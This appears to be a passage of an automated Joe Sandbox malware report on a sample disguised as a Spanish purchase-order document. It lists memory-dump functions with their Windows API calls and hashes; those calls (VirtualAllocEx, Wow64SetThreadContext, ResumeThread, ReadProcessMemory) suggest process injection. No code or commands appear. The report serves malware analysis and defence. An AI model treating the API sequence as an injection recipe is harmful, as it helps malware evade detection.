                                                                                                              • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 073713A8
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: MemoryProcessRead
                                                                                                              • String ID:
                                                                                                              • API String ID: 1726664587-0
                                                                                                              • Opcode ID: 54df2c116475e36200d3ed8fbd2091f55d3876f882b1751780db279744b9d2bb
                                                                                                              • Instruction ID: 3050bf6b5dc6d1a4a322dd495ba28722dfbb0d7de77f32328494784236833b2f
                                                                                                              • Opcode Fuzzy Hash: 54df2c116475e36200d3ed8fbd2091f55d3876f882b1751780db279744b9d2bb
                                                                                                              • Instruction Fuzzy Hash: 07211BB1C003499FDB20DFAAC845BDEBBF5FF48310F508529E918A7240D7399541DBA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00BFBDAC Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 1527 bfbdac-bfc2bc DuplicateHandle 1529 bfc2be-bfc2c4 1527->1529 1530 bfc2c5-bfc2e2 1527->1530 1529->1530
                                                                                                              APIs
                                                                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00BFC1EE,?,?,?,?,?), ref: 00BFC2AF
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1393208929.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_bf0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: DuplicateHandle
                                                                                                              • String ID:
                                                                                                              • API String ID: 3793708945-0
                                                                                                              • Opcode ID: 136cdee48b5f83a384e6ce470d479f3f7d7d974f463370cce914a48a85ea7513
                                                                                                              • Instruction ID: bcbae816371dbaf02a21830f061ac0e2cc69245c0b6208270c188e9e2ed63f7d
                                                                                                              • Opcode Fuzzy Hash: 136cdee48b5f83a384e6ce470d479f3f7d7d974f463370cce914a48a85ea7513
                                                                                                              • Instruction Fuzzy Hash: 0721E3B5D0024DAFDB10CF9AD984AEEBFF5EB48320F14805AE914A7350D374A954CFA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07371328 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 073713A8
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: MemoryProcessRead
                                                                                                              • String ID:
                                                                                                              • API String ID: 1726664587-0
                                                                                                              • Opcode ID: 977938270ea8461fde92c4174e8bfe934a5f8ea9c4ca3610a5e42bcbac9f583e
                                                                                                              • Instruction ID: bec57330b177b0baf58d77adc8eb9bcb10f077c1d06b9cfcd35c6c54a17e8d2c
                                                                                                              • Opcode Fuzzy Hash: 977938270ea8461fde92c4174e8bfe934a5f8ea9c4ca3610a5e42bcbac9f583e
                                                                                                              • Instruction Fuzzy Hash: 4F2128B1C003499FDB20DFAAC881BEEBBF5FF48310F508529E918A7240D7399941CBA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073710A0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0737111E
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ContextThreadWow64
                                                                                                              • String ID:
                                                                                                              • API String ID: 983334009-0
                                                                                                              • Opcode ID: 4ae5809b4a3a56df7c4e74b88dc347d5285437a6e39cb26ca1e5a449e62620aa
                                                                                                              • Instruction ID: eaa1e52f121c34380e215b68affd408859874909db1f24b410bef6993758b3ae
                                                                                                              • Opcode Fuzzy Hash: 4ae5809b4a3a56df7c4e74b88dc347d5285437a6e39cb26ca1e5a449e62620aa
                                                                                                              • Instruction Fuzzy Hash: 242118B1D003098FDB20DFAAC8857EEBBF4EF88324F548429D559A7240DB789945CFA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00BFC227 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00BFC1EE,?,?,?,?,?), ref: 00BFC2AF
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1393208929.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_bf0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: DuplicateHandle
                                                                                                              • String ID:
                                                                                                              • API String ID: 3793708945-0
                                                                                                              • Opcode ID: 229ca0f2f5d548fa5d64cf290c7c6e58ae15be31ffb4b0d0c7d801db6af5faf7
                                                                                                              • Instruction ID: 46deff336573d36b1e8f406db651a65db2d5f3fd1d5fd9f7990a253b5ed30825
                                                                                                              • Opcode Fuzzy Hash: 229ca0f2f5d548fa5d64cf290c7c6e58ae15be31ffb4b0d0c7d801db6af5faf7
                                                                                                              • Instruction Fuzzy Hash: 2921E4B5D002499FDB10CF9AD584AEEBFF4EB48320F14801AE918A7350D374A945CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07371171 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 073711E6
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: AllocVirtual
                                                                                                              • String ID:
                                                                                                              • API String ID: 4275171209-0
                                                                                                              • Opcode ID: 0f384962bca9eebb67306f1e93d39a47f02492c9e61ddc9201aefef14d603e4f
                                                                                                              • Instruction ID: 3c71e44493a0235f56b697275a87a6b5efaa87d8f418946d5534c07aec2d1a26
                                                                                                              • Opcode Fuzzy Hash: 0f384962bca9eebb67306f1e93d39a47f02492c9e61ddc9201aefef14d603e4f
                                                                                                              • Instruction Fuzzy Hash: FD115976C003499FDB20DFAAD845BDEBFF5EB88320F108419E919A7250CB359941CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00BFA998 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00BFB001,00000800,00000000,00000000), ref: 00BFB212
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1393208929.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_bf0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: LibraryLoad
                                                                                                              • String ID:
                                                                                                              • API String ID: 1029625771-0
                                                                                                              • Opcode ID: 79f9c0627421837d6165f23144059384018e4cee5c17a91b23f5c07bb35c5e28
                                                                                                              • Instruction ID: 00472501059a6364325a511c1c2fc917bb042fe4272223470e54e7cd1bed2cd9
                                                                                                              • Opcode Fuzzy Hash: 79f9c0627421837d6165f23144059384018e4cee5c17a91b23f5c07bb35c5e28
                                                                                                              • Instruction Fuzzy Hash: 8C1114B6C003499FDB20CF9AD844AAEFBF4EF48310F10846AE919A7200C375A945CFA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07370FE8 Relevance: 1.6, APIs: 1, Instructions: 54threadCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ResumeThread
                                                                                                              • String ID:
                                                                                                              • API String ID: 947044025-0
                                                                                                              • Opcode ID: 95b4aefd6d3fcd65c35367422c3c6a64eb16b60cf38cd0ffc1a29fe214d5cd78
                                                                                                              • Instruction ID: 020a25e68399b1869d13438a82dc840724de806be710cd8900ee02586279f823
                                                                                                              • Opcode Fuzzy Hash: 95b4aefd6d3fcd65c35367422c3c6a64eb16b60cf38cd0ffc1a29fe214d5cd78
                                                                                                              • Instruction Fuzzy Hash: 341179B1C003498FDB20DFAAC4457DEFBF4EB88220F20841AD519A7240CA399941CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00BFB1A0 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00BFB001,00000800,00000000,00000000), ref: 00BFB212
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1393208929.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_bf0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: LibraryLoad
                                                                                                              • String ID:
                                                                                                              • API String ID: 1029625771-0
                                                                                                              • Opcode ID: 0210879231bb876623aba475f3842c12b242fd7f0783e6f0be216894825feb36
                                                                                                              • Instruction ID: 5db85343ac644e7306100aaffaba330fcfcd41e178ac8c29f41fac7ea319effc
                                                                                                              • Opcode Fuzzy Hash: 0210879231bb876623aba475f3842c12b242fd7f0783e6f0be216894825feb36
                                                                                                              • Instruction Fuzzy Hash: 331117B6C002498FDB10CF9AD444BEEFBF4EB48310F10842ED929A7200C379A945CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07371178 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 073711E6
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: AllocVirtual
                                                                                                              • String ID:
                                                                                                              • API String ID: 4275171209-0
                                                                                                              • Opcode ID: 75dc2d0fdb87b4b5209504b2a71d8cdb007638b6c2c3a48956b2a031967d0445
                                                                                                              • Instruction ID: 1c016abe1a49c873414ca79112487f8870cf77281d03f6d32b2630f633f3f916
                                                                                                              • Opcode Fuzzy Hash: 75dc2d0fdb87b4b5209504b2a71d8cdb007638b6c2c3a48956b2a031967d0445
                                                                                                              • Instruction Fuzzy Hash: 0F112975C003499FDB20DFAAC845BDEBBF5EB48320F148419E519A7250CB759940CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07370FF0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ResumeThread
                                                                                                              • String ID:
                                                                                                              • API String ID: 947044025-0
                                                                                                              • Opcode ID: 3c9f8499f92e5c87f8021639ab68d3c00d8d0a1cd560a63baa0c39ed16325aa7
                                                                                                              • Instruction ID: 7d83fbadc64eeb57e7846072c14e362cb24fdd309e02dc97df80e66c35a95b92
                                                                                                              • Opcode Fuzzy Hash: 3c9f8499f92e5c87f8021639ab68d3c00d8d0a1cd560a63baa0c39ed16325aa7
                                                                                                              • Instruction Fuzzy Hash: 49113AB1D003498FDB20DFAAC4457DEFBF5EB88320F248419D519A7240CB79A945CFA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07374F28 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • PostMessageW.USER32(?,00000010,00000000,?), ref: 07374F8D
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: MessagePost
                                                                                                              • String ID:
                                                                                                              • API String ID: 410705778-0
                                                                                                              • Opcode ID: 582241a08a78b726c736f989d5619ac35715e0bf52dac19c0c68e521df1b4af5
                                                                                                              • Instruction ID: 0dba02bbeaa7dda07c549b1fe67a6ace59f5d06dc21e69ffeca5c51763405800
                                                                                                              • Opcode Fuzzy Hash: 582241a08a78b726c736f989d5619ac35715e0bf52dac19c0c68e521df1b4af5
                                                                                                              • Instruction Fuzzy Hash: 341106B58003499FDB20DF9AD445BDEFFF8EB48320F10841AE518A7650C379A944CFA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07372290 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • PostMessageW.USER32(?,00000010,00000000,?), ref: 07374F8D
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: MessagePost
                                                                                                              • String ID:
                                                                                                              • API String ID: 410705778-0
                                                                                                              • Opcode ID: f18718b4869794834d27b1b210013b974b44c4c6a8ec7b18711b587e95821ccd
                                                                                                              • Instruction ID: f28944c94fe536ed7f5b4408c1c7662e8c3a1a03d66f3bfa4fc8d9f0e8f3664c
                                                                                                              • Opcode Fuzzy Hash: f18718b4869794834d27b1b210013b974b44c4c6a8ec7b18711b587e95821ccd
                                                                                                              • Instruction Fuzzy Hash: 5B11D6B5904349DFDB20DF9AD845BDEBBF8EB48310F108419E518A7240D379A954CFA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00BFAF20 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetModuleHandleW.KERNELBASE(00000000), ref: 00BFAF86
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1393208929.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_bf0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: HandleModule
                                                                                                              • String ID:
                                                                                                              • API String ID: 4139908857-0
                                                                                                              • Opcode ID: 5c450740fcb523778969b797574242d7da7bb43e7b1abca9e74521cce7fef254
                                                                                                              • Instruction ID: 90a05fe8ffd862d69e23755855ab806d1323b2ad8f7e28146b61b59e75529986
                                                                                                              • Opcode Fuzzy Hash: 5c450740fcb523778969b797574242d7da7bb43e7b1abca9e74521cce7fef254
                                                                                                              • Instruction Fuzzy Hash: C411E3B5C003498FDB24DF9AD444BDEFBF4EB48310F10846AD519A7250D375A945CFA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00BFAF1F Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetModuleHandleW.KERNELBASE(00000000), ref: 00BFAF86
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1393208929.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_bf0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: HandleModule
                                                                                                              • String ID:
                                                                                                              • API String ID: 4139908857-0
                                                                                                              • Opcode ID: 7fc95fadd5d0e6d201198b24b804ee7b1a8eab528ae3ddfaf47fee344580e047
                                                                                                              • Instruction ID: 24b003612281150f942c24cdf37bd218e872a73e6cd2fa18b27749c04e468dd9
                                                                                                              • Opcode Fuzzy Hash: 7fc95fadd5d0e6d201198b24b804ee7b1a8eab528ae3ddfaf47fee344580e047
                                                                                                              • Instruction Fuzzy Hash: 1011E3B5C003498FDB24DF9AD444BDEFBF4EB48310F10846AD529A7250D375A946CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07302937 Relevance: 1.4, Strings: 1, Instructions: 127COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: (
                                                                                                              • API String ID: 0-3887548279
                                                                                                              • Opcode ID: 7b4f40515cc877e32f7821ee2d665761a04853827312b9f241498e6e2a034aaf
                                                                                                              • Instruction ID: a4bfb54f59fdbdda2f7dcf9e9d86d4c8b019048c6ced50ee9d0ec7f48b3c404d
                                                                                                              • Opcode Fuzzy Hash: 7b4f40515cc877e32f7821ee2d665761a04853827312b9f241498e6e2a034aaf
                                                                                                              • Instruction Fuzzy Hash: 4B417BF0918209CFE740CF5AD1989BEBBF9BB8E310F519091C44DAB662DB31D920CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07301598 Relevance: 1.4, Strings: 1, Instructions: 113COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: Yi
                                                                                                              • API String ID: 0-3663767621
                                                                                                              • Opcode ID: 2bcbe1fbbf2f1bb4499bb5c69d8e9602227a4f52fda6613f39f95a06ee77793d
                                                                                                              • Instruction ID: 82d7b9f54c2a88c2010b0fea2c3c9700122093d321eadd5d4046040f11894e5d
                                                                                                              • Opcode Fuzzy Hash: 2bcbe1fbbf2f1bb4499bb5c69d8e9602227a4f52fda6613f39f95a06ee77793d
                                                                                                              • Instruction Fuzzy Hash: 904148B0D1024ADFDB04DFA9C4406AEFBF6EF89300F14C46AD415AB294D7389A05CFA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073015A8 Relevance: 1.4, Strings: 1, Instructions: 109COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: Yi
                                                                                                              • API String ID: 0-3663767621
                                                                                                              • Opcode ID: 8fc4b950d2a22e82920b498829ab77259642950dddf41a3b8d3ff36face66d70
                                                                                                              • Instruction ID: 63fe0c8f8ea48bc8b42a643f814569090ddd040818e317ce35e26f3d4c5c4f75
                                                                                                              • Opcode Fuzzy Hash: 8fc4b950d2a22e82920b498829ab77259642950dddf41a3b8d3ff36face66d70
                                                                                                              • Instruction Fuzzy Hash: ED4139B0E1020ADFDB44DFA9C5906AEFBF6FB89300F10C46AD415AB294D7389A058F90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEA191 Relevance: 1.3, Strings: 1, Instructions: 50COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: ]
                                                                                                              • API String ID: 0-3352871620
                                                                                                              • Opcode ID: cc0fec8f92dd4628555b871c9ed29c25c0555112c40c1c85cd0851c22693249b
                                                                                                              • Instruction ID: fd4c57e57a6bdb4eaf3f239d394085d32e15e9296f29bbc787305900463f5a06
                                                                                                              • Opcode Fuzzy Hash: cc0fec8f92dd4628555b871c9ed29c25c0555112c40c1c85cd0851c22693249b
                                                                                                              • Instruction Fuzzy Hash: DF01D6357096545FC300CA2ED858C5A7FE9EF8A62179500EBF505CB332CA25EC46CBA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FECFD9 Relevance: .5, Instructions: 531COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 95e337308ee0f538bedee68ce81d629d1f718f9769a61cd6a06934c5c3a33989
                                                                                                              • Instruction ID: 82e75d8a5a84716194f5b26a719c9f59322bce2bcbe3327b5186c0b477c8cf96
                                                                                                              • Opcode Fuzzy Hash: 95e337308ee0f538bedee68ce81d629d1f718f9769a61cd6a06934c5c3a33989
                                                                                                              • Instruction Fuzzy Hash: 63420130D1061DCFCF55EFA8C8446ECBBB1BF49300F5182A9D5597B265EB30AA99CB81
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE96D8 Relevance: .5, Instructions: 528COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: d11d1be9fd602625fac1316dea15cea89c9cccc96470e03e8829077fcf750e96
                                                                                                              • Instruction ID: b3afe7faa673705e924113cc3aadaf8929525efd96e132554a3d9fe27f193f3e
                                                                                                              • Opcode Fuzzy Hash: d11d1be9fd602625fac1316dea15cea89c9cccc96470e03e8829077fcf750e96
                                                                                                              • Instruction Fuzzy Hash: 4112AE31F003058FDBA4DF64C854AAE7BF2AF89710F148569D4069B3A1DBB5ED46CBA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE7B34 Relevance: .3, Instructions: 342COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 272636a7be7f5653b2d1a3e040612d9303c156866aa9b3b02adeabf3336310d0
                                                                                                              • Instruction ID: 3b5b142696f19fb202ae35b1a35c73a5d5e9b3f621bdeda5a18b816f8e2646fb
                                                                                                              • Opcode Fuzzy Hash: 272636a7be7f5653b2d1a3e040612d9303c156866aa9b3b02adeabf3336310d0
                                                                                                              • Instruction Fuzzy Hash: 8BB1ED71E00208DFEF65DBA5C9406AEBFB6FF88300F20456EE519AB241DB359952CF91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE2A48 Relevance: .3, Instructions: 339COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 4c01f79180edd9f26113675e18d91460dcc3f289026adf0c952b40cf2266614f
                                                                                                              • Instruction ID: 5b0f97cb232c2402184b0177b48c6730755c1640d563ea07aa114aefce841002
                                                                                                              • Opcode Fuzzy Hash: 4c01f79180edd9f26113675e18d91460dcc3f289026adf0c952b40cf2266614f
                                                                                                              • Instruction Fuzzy Hash: FFD18230A00704CFD7A5DF78C880A6ABBBBBF89311F544A69E0529B3E1DB75D946CB50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF5EC0 Relevance: .3, Instructions: 327COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 38a1f367adf9072940fef8fb5bf821e4e2ffc77a2375d80a01739f92d4781010
                                                                                                              • Instruction ID: 68a67266d822f258157bce21e9f8192eb73996258b893b7a26ea1d269adffb13
                                                                                                              • Opcode Fuzzy Hash: 38a1f367adf9072940fef8fb5bf821e4e2ffc77a2375d80a01739f92d4781010
                                                                                                              • Instruction Fuzzy Hash: 71C15C31F202189FDB649F69D955AAE7BB6BF88700F148069E906DB3A1DF31DC01CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE0448 Relevance: .3, Instructions: 304COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
